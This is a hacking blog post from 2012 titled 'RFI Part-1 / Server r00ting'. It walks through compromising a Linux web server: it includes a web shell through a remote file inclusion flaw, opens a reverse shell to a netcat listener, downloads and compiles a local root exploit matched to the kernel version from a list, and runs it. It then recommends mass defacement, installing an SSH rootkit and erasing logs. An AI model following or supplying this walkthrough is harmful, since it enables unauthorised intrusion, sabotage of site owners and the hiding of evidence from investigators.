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Thursday, 12 April 2012

RFI Part-1 / Server r00ting

You will need:

- Vulnerable Site in R.F.I.
- Shell for R.F.I. (e.g. c99, r57, or other)
- NetCat
- Local Root Exploit (depending on the kernel and the version)
——————————————————————————
The purpose of this tutorial is to give a very general picture in process of Rooting
a Linux Server with Safe Mod: OFF.
-
Suppose that we have found a site with R.F.I. vulnerability:
http://www.hackedsite.com/folder/index.html?page=
We can run shell exploiting Remote File Inclusion, as follows:
http://www.hackedsite.com/folder/ind…/yourshell.txt
The “yourshell.txt” will be your remote shell.. The reason why we add a “?” at the end of the “.txt” is so the server will read it as a PHP File.. and not a normal text file.
After we enter in the shell, first of all we will see the version of the kernel
at the top of the page or by typing: uname – a in Command line.
To continue we must connect with backconnection to the box. This can done with
two ways if we have the suitable shell.
We can use the Back-Connect module of r57/c99 shell or to upload a backconnector
in a writable folder
In most of the shells there is a backconnection feature without to upload the
Connect Back Shell (or another one shell in perl/c). We will analyze the first
way which is inside the shell (in our example the shell is r57).
Initially we open NetCat and give to listen in a specific port (this port must
be correctly opened/forwarded in NAT/Firewall if we have a router) with the
following way:
We will type: 11457 in the port input (This is the default port for the last versions
of r57 shell). We can use and other port.
We press in Windows Start -> Run -> and we type: cmd
After we will go to the NetCat directory:
e.g.
cd C:\Program Files\Netcat
And we type the following command:
nc -n -l -v -p 11457
NetCat respond: listening on [any] 11457 …
In the central page of r57 shell we find under the following menu::: Net:: and
back-connect. In the IP Form we will type our IP (My IP is 94.228.220.186 – Quick and Easy way to SEE my IP address – CmyIP.com to see our ip if
we have dynamic)
In the Port form we will put the port that we opened and NetCat listens.
If we press connect the shell will respond:
Now script try connect to port 11457 …
If our settings are correct NetCat will give us a shell to the server
Now we wil continue to the Rooting proccess.
We must find a writable folder in order to download and compile the Local
Root Exploit that will give us root priviledges in the box. Depending on the version
of the Linux kernel there are different exploits. Some times the exploits fail to run
because some boxes are patched or we don’t have the correct permissions.
List of the exploits/kernel:
2.4.17 -> newlocal, kmod, uselib24
2.4.18 -> brk, brk2, newlocal, kmod
2.4.19 -> brk, brk2, newlocal, kmod
2.4.20 -> ptrace, kmod, ptrace-kmod, brk, brk2
2.4.21 -> brk, brk2, ptrace, ptrace-kmod
2.4.22 -> brk, brk2, ptrace, ptrace-kmod
2.4.22-10 -> loginx
2.4.23 -> mremap_pte
2.4.24 -> mremap_pte, uselib24
2.4.25-1 -> uselib24
2.4.27 -> uselib24
2.6.2 -> mremap_pte, krad, h00lyshit
2.6.5 -> krad, krad2, h00lyshit
2.6.6 -> krad, krad2, h00lyshit
2.6.7 -> krad, krad2, h00lyshit
2.6.8 -> krad, krad2, h00lyshit
2.6.8-5 -> krad2, h00lyshit
2.6.9 -> krad, krad2, h00lyshit
2.6.9-34 -> r00t, h00lyshit
2.6.10 -> krad, krad2, h00lyshit
2.6.13 -> raptor, raptor2, h0llyshit, prctl
2.6.14 -> raptor, raptor2, h0llyshit, prctl
2.6.15 -> raptor, raptor2, h0llyshit, prctl
2.6.16 -> raptor, raptor2, h0llyshit, prctl
We will see the case of 2.6.8 Linux kernel. We will need the h00lyshit exploit.
Some sites that we can find Local Root Exploits:
www.milw0rm (Try Search: “linux kernel”)
Other sites: .:[ packet storm ]:. – http://packetstormsecurity.org/ | arblan.com – arb lan Resources and Information.
or try Googlin’ you can find ‘em all ;-)
We can find writable folders/files by typing:
find / -perm -2 -ls
We can use the /tmp folder which is a standard writable folder
We type: cd /tmp
To download the local root exploit we can use a download command for linux like
wget.
For example:
wget arblan.com – arb lan Resources and Information.
where arblan.com – arb lan Resources and Information. is the url of h00lyshit.
After the download we must compile the exploit (Read the instruction of the exploit
before the compile)
For the h00lyshit we must type:
gcc h00lyshit.c -o h00lyshit
Now we have created the executable file: h00lyshit.
The command to run this exploit is:
./h00lyshit
We need a very big file on the disk in order to run successfully and to get root.
We must create a big file in /tmp or into another writable folder.
The command is:
dd if=/dev/urandom of=largefile count=2M
where largefile is the filename.
We must wait 2-3 minutes for the file creation
If this command fails we can try:
dd if=/dev/zero of=/tmp/largefile count=102400 bs=1024
Now we can procced to the last step. We can run the exploit by typing:
./h00lyshit largefile or
./h00lyshit /tmp/largefile
(If we are in a different writable folder and the largefile is created in /tmp)
If there are not running errors (maybe the kernel is patched or is something wrong with
exploit run or large file) we will get root
To check if we got root:
id or
whoami
If it says root we got root!
Now we can deface/mass deface all the sites of the server or to setup a rootkit (e.g.
SSHDoor) and to take ssh/telnet shell access to the server.
We must erase all logs in order to be safe with a log cleaner. A good cleaner for this
job is the MIG Log Cleaner.
Congratulations, You’ve got root!
/end.

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